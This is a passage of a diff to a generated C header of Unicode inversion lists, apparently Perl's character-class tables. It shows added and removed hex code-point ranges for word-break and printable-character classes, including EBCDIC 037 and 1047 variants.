-	0x2CC7,
-	0x2CC8,
-	0x2CC9,
-	0x2CCA,
-	0x2CCB,
-	0x2CCC,
-	0x2CCD,
-	0x2CCE,
-	0x2CCF,
-	0x2CD0,
-	0x2CD1,
-	0x2CD2,
-	0x2CD3,
-	0x2CD4,
-	0x2CD5,
-	0x2CD6,
-	0x2CD7,
-	0x2CD8,
-	0x2CD9,
-	0x2CDA,
-	0x2CDB,
-	0x2CDC,
-	0x2CDD,
-	0x2CDE,
-	0x2CDF,
-	0x2CE0,
-	0x2CE1,
-	0x2CE2,
-	0x2CE3,
+	0x2C60,
 	0x2CE5,
-	0x2CEC,
-	0x2CED,
-	0x2CEE,
-	0x2CEF,
-	0x2CF3,
+	0x2CEB,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -90595,233 +359478,567 @@
 	0x2D28,
 	0x2D2D,
 	0x2D2E,
-	0xA641,
-	0xA642,
-	0xA643,
-	0xA644,
-	0xA645,
-	0xA646,
-	0xA647,
-	0xA648,
-	0xA649,
-	0xA64A,
-	0xA64B,
-	0xA64C,
-	0xA64D,
-	0xA64E,
-	0xA64F,
-	0xA650,
-	0xA651,
-	0xA652,
-	0xA653,
-	0xA654,
-	0xA655,
-	0xA656,
-	0xA657,
-	0xA658,
-	0xA659,
-	0xA65A,
-	0xA65B,
-	0xA65C,
-	0xA65D,
-	0xA65E,
-	0xA65F,
-	0xA660,
-	0xA661,
-	0xA662,
-	0xA663,
-	0xA664,
-	0xA665,
-	0xA666,
-	0xA667,
-	0xA668,
-	0xA669,
-	0xA66A,
-	0xA66B,
-	0xA66C,
-	0xA66D,
-	0xA66E,
-	0xA681,
-	0xA682,
-	0xA683,
-	0xA684,
-	0xA685,
-	0xA686,
-	0xA687,
-	0xA688,
-	0xA689,
-	0xA68A,
-	0xA68B,
-	0xA68C,
-	0xA68D,
-	0xA68E,
-	0xA68F,
-	0xA690,
-	0xA691,
-	0xA692,
-	0xA693,
-	0xA694,
-	0xA695,
-	0xA696,
-	0xA697,
-	0xA698,
-	0xA699,
-	0xA69A,
-	0xA69B,
-	0xA69E,
-	0xA723,
-	0xA724,
-	0xA725,
-	0xA726,
-	0xA727,
-	0xA728,
-	0xA729,
-	0xA72A,
-	0xA72B,
-	0xA72C,
-	0xA72D,
-	0xA72E,
-	0xA72F,
-	0xA732,
-	0xA733,
-	0xA734,
-	0xA735,
-	0xA736,
-	0xA737,
-	0xA738,
-	0xA739,
-	0xA73A,
-	0xA73B,
-	0xA73C,
-	0xA73D,
-	0xA73E,
-	0xA73F,
-	0xA740,
-	0xA741,
-	0xA742,
-	0xA743,
-	0xA744,
-	0xA745,
-	0xA746,
-	0xA747,
-	0xA748,
-	0xA749,
-	0xA74A,
-	0xA74B,
-	0xA74C,
-	0xA74D,
-	0xA74E,
-	0xA74F,
-	0xA750,
-	0xA751,
-	0xA752,
-	0xA753,
-	0xA754,
-	0xA755,
-	0xA756,
-	0xA757,
-	0xA758,
-	0xA759,
-	0xA75A,
-	0xA75B,
-	0xA75C,
-	0xA75D,
-	0xA75E,
-	0xA75F,
-	0xA760,
-	0xA761,
-	0xA762,
-	0xA763,
-	0xA764,
-	0xA765,
-	0xA766,
-	0xA767,
-	0xA768,
-	0xA769,
-	0xA76A,
-	0xA76B,
-	0xA76C,
-	0xA76D,
-	0xA76E,
-	0xA76F,
-	0xA779,
-	0xA77A,
-	0xA77B,
-	0xA77C,
-	0xA77D,
-	0xA77F,
-	0xA780,
-	0xA781,
-	0xA782,
-	0xA783,
-	0xA784,
-	0xA785,
-	0xA786,
-	0xA787,
-	0xA788,
-	0xA78C,
-	0xA78D,
-	0xA78E,
-	0xA78F,
-	0xA791,
-	0xA792,
-	0xA793,
-	0xA796,
-	0xA797,
-	0xA798,
-	0xA799,
-	0xA79A,
-	0xA79B,
-	0xA79C,
-	0xA79D,
-	0xA79E,
-	0xA79F,
-	0xA7A0,
-	0xA7A1,
-	0xA7A2,
-	0xA7A3,
-	0xA7A4,
-	0xA7A5,
-	0xA7A6,
-	0xA7A7,
-	0xA7A8,
-	0xA7A9,
-	0xA7AA,
-	0xA7B5,
-	0xA7B6,
-	0xA7B7,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
+	0xA640,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA7AF,
+	0xA7B0,
 	0xA7B8,
-	0xA7F8,
-	0xA7FB,
+	0xA7F7,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9C1,
+	0xA9CF,
+	0xA9DA,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
 	0xAB30,
-	0xAB5B,
-	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABC0,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE00,
+	0xFE11,
+	0xFE13,
+	0xFE15,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE54,
+	0xFE56,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
 	0xFF5B,
-	0x10428,
-	0x10450,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFF9,
+	0xFFFC,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
 	0x104D8,
 	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x118C0,
-	0x118E0,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1B000,
+	0x1B001,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
 	0x1D455,
 	0x1D456,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
-	0x1D4B6,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
 	0x1D4BA,
 	0x1D4BB,
 	0x1D4BC,
@@ -90828,64 +360045,329 @@
 	0x1D4BD,
 	0x1D4C4,
 	0x1D4C5,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
 	0x1D51E,
-	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
 	0x1D552,
-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
 	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
 	0x1D6C2,
 	0x1D6DB,
 	0x1D6DC,
-	0x1D6E2,
+	0x1D6FB,
 	0x1D6FC,
 	0x1D715,
 	0x1D716,
-	0x1D71C,
+	0x1D735,
 	0x1D736,
 	0x1D74F,
 	0x1D750,
-	0x1D756,
+	0x1D76F,
 	0x1D770,
 	0x1D789,
 	0x1D78A,
-	0x1D790,
+	0x1D7A9,
 	0x1D7AA,
 	0x1D7C3,
 	0x1D7C4,
-	0x1D7CA,
-	0x1D7CB,
 	0x1D7CC,
-	0x1E922,
-	0x1E944
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x1F1E6,
+	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F385,
+	0x1F386,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F48B,
+	0x1F48C,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
 };
 
-static const UV XPosixPrint_invlist[] = { /* for EBCDIC 037 */
-	1281,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */
+	1519,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x40,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x51,
+	0x5A,
+	0x5E,
+	0x5F,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
 	0xFF,
 	0x100,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x375,
+	0x376,
 	0x378,
 	0x37A,
 	0x380,
-	0x384,
+	0x386,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -90892,18 +360374,28 @@
 	0x38E,
 	0x3A2,
 	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
-	0x560,
+	0x55A,
 	0x561,
 	0x588,
 	0x589,
-	0x58B,
-	0x58D,
-	0x590,
+	0x58A,
 	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
 	0x5C8,
 	0x5D0,
 	0x5EB,
@@ -90910,28 +360402,52 @@
 	0x5F0,
 	0x5F5,
 	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
 	0x61D,
-	0x61E,
-	0x70E,
+	0x620,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
 	0x70F,
 	0x74B,
 	0x74D,
 	0x7B2,
 	0x7C0,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
 	0x7FB,
 	0x800,
 	0x82E,
-	0x830,
-	0x83F,
 	0x840,
 	0x85C,
-	0x85E,
-	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
 	0x984,
 	0x985,
 	0x98D,
@@ -90958,7 +360474,9 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
+	0x9F2,
 	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -91016,9 +360534,9 @@
 	0xAE0,
 	0xAE4,
 	0xAE6,
-	0xAF2,
+	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -91046,7 +360564,9 @@
 	0xB5F,
 	0xB64,
 	0xB66,
-	0xB78,
+	0xB70,
+	0xB71,
+	0xB72,
 	0xB82,
 	0xB84,
 	0xB85,
@@ -91078,7 +360598,7 @@
 	0xBD7,
 	0xBD8,
 	0xBE6,
-	0xBFB,
+	0xBF0,
 	0xC00,
 	0xC04,
 	0xC05,
@@ -91103,7 +360623,7 @@
 	0xC64,
 	0xC66,
 	0xC70,
-	0xC78,
+	0xC80,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -91131,7 +360651,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -91138,16 +360658,18 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD50,
+	0xD4F,
 	0xD54,
+	0xD58,
+	0xD5F,
 	0xD64,
 	0xD66,
+	0xD70,
+	0xD7A,
 	0xD80,
 	0xD82,
 	0xD84,
@@ -91172,60 +360694,68 @@
 	0xDE6,
 	0xDF0,
 	0xDF2,
-	0xDF5,
-	0xE01,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
 	0xE3B,
-	0xE3F,
-	0xE5C,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xEB1,
+	0xEB2,
+	0xEB4,
 	0xEBA,
 	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
+	0xEBD,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
-	0xEDC,
-	0xEE0,
 	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
 	0xF48,
 	0xF49,
 	0xF6D,
 	0xF71,
+	0xF85,
+	0xF86,
 	0xF98,
 	0xF99,
 	0xFBD,
-	0xFBE,
-	0xFCD,
-	0xFCE,
-	0xFDB,
-	0x1000,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x109E,
+	0x10A0,
 	0x10C6,
 	0x10C7,
 	0x10C8,
@@ -91232,6 +360762,8 @@
 	0x10CD,
 	0x10CE,
 	0x10D0,
+	0x10FB,
+	0x10FC,
 	0x1249,
 	0x124A,
 	0x124E,
@@ -91264,16 +360796,22 @@
 	0x1318,
 	0x135B,
 	0x135D,
-	0x137D,
+	0x1360,
 	0x1380,
-	0x139A,
+	0x1390,
 	0x13A0,
 	0x13F6,
 	0x13F8,
 	0x13FE,
-	0x1400,
-	0x169D,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
 	0x16A0,
+	0x16EB,
+	0x16EE,
 	0x16F9,
 	0x1700,
 	0x170D,
@@ -91280,7 +360818,7 @@
 	0x170E,
 	0x1715,
 	0x1720,
-	0x1737,
+	0x1735,
 	0x1740,
 	0x1754,
 	0x1760,
@@ -91289,13 +360827,13 @@
 	0x1771,
 	0x1772,
 	0x1774,
-	0x1780,
+	0x17B4,
+	0x17D4,
+	0x17DD,
 	0x17DE,
 	0x17E0,
 	0x17EA,
-	0x17F0,
-	0x17FA,
-	0x1800,
+	0x180B,
 	0x180F,
 	0x1810,
 	0x181A,
@@ -91311,21 +360849,13 @@
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1940,
-	0x1941,
-	0x1944,
-	0x196E,
-	0x1970,
-	0x1975,
-	0x1980,
-	0x19AC,
-	0x19B0,
-	0x19CA,
+	0x1946,
+	0x1950,
 	0x19D0,
-	0x19DB,
-	0x19DE,
+	0x19DA,
+	0x1A00,
 	0x1A1C,
-	0x1A1E,
+	0x1A55,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
@@ -91333,30 +360863,30 @@
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
-	0x1AA0,
-	0x1AAE,
 	0x1AB0,
 	0x1ABF,
 	0x1B00,
 	0x1B4C,
 	0x1B50,
-	0x1B7D,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
 	0x1B80,
 	0x1BF4,
-	0x1BFC,
+	0x1C00,
 	0x1C38,
-	0x1C3B,
+	0x1C40,
 	0x1C4A,
 	0x1C4D,
+	0x1C7E,
+	0x1C80,
 	0x1C89,
-	0x1CC0,
-	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
+	0x1CD3,
+	0x1CD4,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -91378,58 +360908,104 @@
 	0x1F80,
 	0x1FB5,
 	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
 	0x1FC5,
 	0x1FC6,
+	0x1FCD,
+	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FDC,
-	0x1FDD,
-	0x1FF0,
+	0x1FE0,
+	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FFF,
-	0x2000,
-	0x2028,
-	0x202A,
+	0x1FFD,
+	0x200C,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
